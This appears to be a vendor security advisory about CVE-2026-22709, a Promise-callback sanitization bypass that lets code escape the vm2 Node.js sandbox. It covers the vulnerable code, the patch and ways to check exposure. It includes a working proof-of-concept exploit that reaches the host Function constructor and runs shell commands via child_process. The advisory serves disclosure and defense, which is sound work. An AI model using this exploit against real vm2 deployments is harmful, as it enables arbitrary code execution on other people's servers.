Introduction
A critical sandbox escape vulnerability has been disclosed in vm2, a popular Node.js library used to run untrusted code in a sandboxed environment. CVE-2026-22709 allows attackers to bypass Promise callback sanitization and execute arbitrary code outside the sandbox boundaries.
The vulnerability carries a CVSS v3.1 score of 9.8 (Critical) with the vector `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`. This indicates network-exploitable, low-complexity attacks requiring no authentication or user interaction. Applications using vm2 to execute untrusted JavaScript code should upgrade immediately.
It is worth mentioning that in response to several critical vulnerabilities published around 2023, this sandbox was deprecated between July 2023 and October 2025 with the following message in its README file: “The library contains critical security issues and should not be used for production! The maintenance of the project has been discontinued.” Despite this, vm2 has more than one million weekly downloads and 885 direct dependents. However, considering its fragility (more than 20 known breakouts in past versions of the sandbox), we do not recommend using vm2 with attacker-controlled code, in production.
Affected versions
What happened
The vulnerability was published to the GitHub Security Advisory database on January 26, 2026. The issue was identified in version 3.10.0, where a gap in Promise callback sanitization allows attackers to escape the sandbox. The maintainers addressed the vulnerability in commit 4b009c2d4b1131c01810c1205e641d614c322a29, which was released in version 3.10.2.
Technical analysis
vm2 is designed to provide a secure sandbox for executing untrusted JavaScript code by intercepting and sanitizing access to Node.js built-in modules and global objects. The library maintains separate Promise prototypes for local (sandboxed) and global (host) contexts to prevent sandbox escape.
The core of vm2's isolation relies on recursively wrapping and proxying JavaScript objects to prevent sandboxed code from accessing the host environment. A critical part of this isolation is ensuring that callback functions passed to Promise handlers cannot access host objects through the prototype chain.
The vulnerability exists in `lib/setup-sandbox.js`. According to the advisory, "the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized." The return value of async functions is a `globalPromise` object, creating an escape vector.
While the code does wrap callbacks with `ensureThis()` sanitization, the use of `Function.prototype.call()` allows attackers to override `Function.prototype.call` and intercept the call, effectively bypassing the sanitization:
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);
if (typeof onFulfilled === 'function') {
const origOnFulfilled = onFulfilled;
onFulfilled = function onFulfilled(value) {
value = ensureThis(value);
return apply(origOnFulfilled, this, [value]);
};
}
if (typeof onRejected === 'function') {
const origOnRejected = onRejected;
onRejected = function onRejected(error) {
error = ensureThis(error);
return apply(origOnRejected, this, [error]);
};
}
return globalPromiseThen.call(this, onFulfilled, onRejected); // VULNERABLE: .call() can be intercepted
};
globalPromise.prototype.catch = function _catch(onRejected) {
resetPromiseSpecies(this);
if (typeof onRejected === 'function') {
const origOnRejected = onRejected;
onRejected = function onRejected(error) {
error = ensureThis(error);
return apply(origOnRejected, this, [error]);
};
}
return globalPromiseCatch.call(this, onRejected); // VULNERABLE: .call() can be intercepted
};
The `ensureThis()` function is intended to sanitize objects passed between the sandbox and host contexts. However, when `Function.prototype.call()` is intercepted by an attacker, the sanitization can be bypassed, allowing unsanitized error objects (with references to host constructors) to reach the callback handler.
The critical insight is that async functions in JavaScript return `globalPromise` objects, not `localPromise` objects. Since `globalPromise.prototype.then` and `globalPromise.prototype.catch` are not properly sanitized (unlike `localPromise`), this creates an escape vector where:
- Sandboxed code creates an async function
- The async function returns a `globalPromise`
- Attaching `.catch()` to the `globalPromise` triggers the vulnerable code path
- An attacker can override `Function.prototype.call` to intercept the call to `globalPromiseCatch.call()`
- Through interception, the attacker can bypass the `ensureThis()` sanitization and access unsanitized error objects that retain references to the host `Error` constructor
The proof-of-concept provided in the disclosure demonstrates the complete exploitation chain:
const { VM } = require("vm2");
const code = `
// Step 1: Create an Error with a Symbol name to trigger special handling
const error = new Error();
error.name = Symbol();
// Step 2: Create an async function that accesses error.stack
// The return value is a globalPromise, not a localPromise
const f = async () => error.stack;
const promise = f();
// Step 3: Attach a .catch() handler to the globalPromise
// This triggers globalPromise.prototype.catch which uses .call()
promise.catch(e => {
// Step 4: If Function.prototype.call is intercepted, the error 'e' may be an unsanitized host Error object
const Error = e.constructor;
const Function = Error.constructor;
// Step 5: Use the Function constructor to execute arbitrary code
// in the host context, completely escaping the sandbox
const f = new Function(
"process.mainModule.require('child_process').execSync('id', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
The attack leverages a fundamental JavaScript behavior: every object has a `constructor` property that references the function that created it, and that constructor itself has a `constructor` property pointing to `Function`. By obtaining any unsanitized host object, an attacker can walk this prototype chain to obtain the `Function` constructor and execute arbitrary code. Our prior work calls references to objects outside the sandbox foreign references and proposes an automatic technique for detecting them.
The `error.name = Symbol()` trick is significant. When `error.stack` is accessed, the JavaScript engine attempts to convert the error's name to a string for the stack trace. Since Symbols cannot be implicitly converted to strings, this triggers a `TypeError`. This error object, created in the host context, can be accessed through the `.catch()` handler. If `Function.prototype.call` is intercepted, the sanitization applied by `ensureThis()` may be bypassed, allowing access to the host Error constructor. This appears to be a variant of CVE-2021-23555, a vulnerability we discovered in which the stack property access on error objects leaks foreign references inside the sandbox.
The Patch
The fix in commit `4b009c2d4b1131c01810c1205e641d614c322a29` replaces Function.prototype.call()` with `Reflect.apply()` to prevent interception:
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);
if (typeof onFulfilled === 'function') {
const origOnFulfilled = onFulfilled;
onFulfilled = function onFulfilled(value) {
value = ensureThis(value);
return apply(origOnFulfilled, this, [value]);
};
}
if (typeof onRejected === 'function') {
const origOnRejected = onRejected;
onRejected = function onRejected(error) {
error = ensureThis(error);
return apply(origOnRejected, this, [error]);
};
}
return apply(globalPromiseThen, this, [onFulfilled, onRejected]); // FIXED: Reflect.apply cannot be intercepted
};
globalPromise.prototype.catch = function _catch(onRejected) {
resetPromiseSpecies(this);
if (typeof onRejected === 'function') {
const origOnRejected = onRejected;
onRejected = function onRejected(error) {
error = ensureThis(error);
return apply(origOnRejected, this, [error]);
};
}
return apply(globalPromiseCatch, this, [onRejected]); // FIXED: Reflect.apply cannot be intercepted
};
The `apply` function is a reference to `Reflect.apply` (imported from `localReflect`), which is a built-in JavaScript function that cannot be overridden or intercepted by sandboxed code. This ensures that the sanitization applied by `ensureThis()` cannot be bypassed through `Function.prototype.call` interception.
Mitigation
Assess Exploitability
Use the following steps to verify exploitability:
- SCA with reachability: SCA tools with reachability may identify affected code paths for your organization. If none of the vm2’s entry endpoints for executing code inside the sandbox are reachable, such as the run() method, then the vulnerability is not exploitable. While it is tempting to start reachability from the two registered wrapper functions then() and catch() touched by the patch, we note that these code locations are invoked during the sandbox setup to register the wrappers, but the real prerequisite for exploiting the vulnerable code is the attacker’s ability to run code inside the sandbox, i.e., run code via the run() method, and trigger those registered proxy methods.
- Untrusted code execution: Verify whether vm2 is used to execute untrusted user-provided JavaScript code. If the library is used exclusively with trusted, hardcoded code, the risk is significantly reduced.
- Server-side usage: Check if vm2 is used in server-side environments where user input can reach the VM execution context. Browser-only usage may have different risk profiles.
- Search your codebase for usage of vm2: If SCA with reachability is not an option, you can manually search using grep:
grep -rE "new\s+VM\(|require\(['\"]vm2['\"]\)|from\s+['\"]vm2['\"]" --include="*.js" --include="*.ts" ./src
For each match, trace the code passed to `VM().run()` to determine its origin:
Not exploitable — The code is hardcoded or derived from trusted configuration:
// Static code - not exploitable
const vm = new VM();
vm.run('console.log("Hello World");');
Potentially exploitable — The code incorporates user input, request parameters, database values, or external data:
// User input directly used
app.post("/execute", (req, res) => {
const vm = new VM();
vm.run(req.body.code); // Attacker can provide malicious code
});
```
```
// User input used in code construction
const userTemplate = req.query.template;
const code = `function process() { ${userTemplate} }`;
const vm = new VM();
vm.run(code); // Attacker can inject malicious code
```
```
// Database value that users can influence
const userScript = await db.getUserScript(userId);
const vm = new VM();
vm.run(userScript); // If users can control their scripts
Remediation
Update to vm2 3.10.2:
npm install vm2@3.10.2
Updating to vm2 3.10.2 addresses the vulnerability by replacing `Function.prototype.call()` with `Reflect.apply()` in Promise handlers, preventing interception attacks.
What Can Go Wrong
Overly permissive code execution negates the patch. If you upgrade to vm2 3.10.2 but continue to execute untrusted user code without additional restrictions, you remain vulnerable to other sandbox escape vectors. vm2 has a history of critical vulnerabilities, and this patch addresses only the specific Promise callback sanitization bypass.
Sandbox isolation is not guaranteed. Even with the patch, vm2's security model has proven fragile. Consider whether your use case truly requires executing arbitrary JavaScript, or if safer alternatives like JSON Schema validation, domain-specific languages, or process-level isolation would better serve your security requirements.
Defense in depth is essential. Even with patched vm2, run sandboxed code execution in isolated environments with minimal privileges, network restrictions, and resource limits. Do not rely solely on vm2's sandbox for security.
References
- https://www.usenix.org/conference/usenixsecurity23/presentation/alhamdan
- https://github.com/advisories/GHSA-99p7-6v5w-7xg8
- https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29



What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:










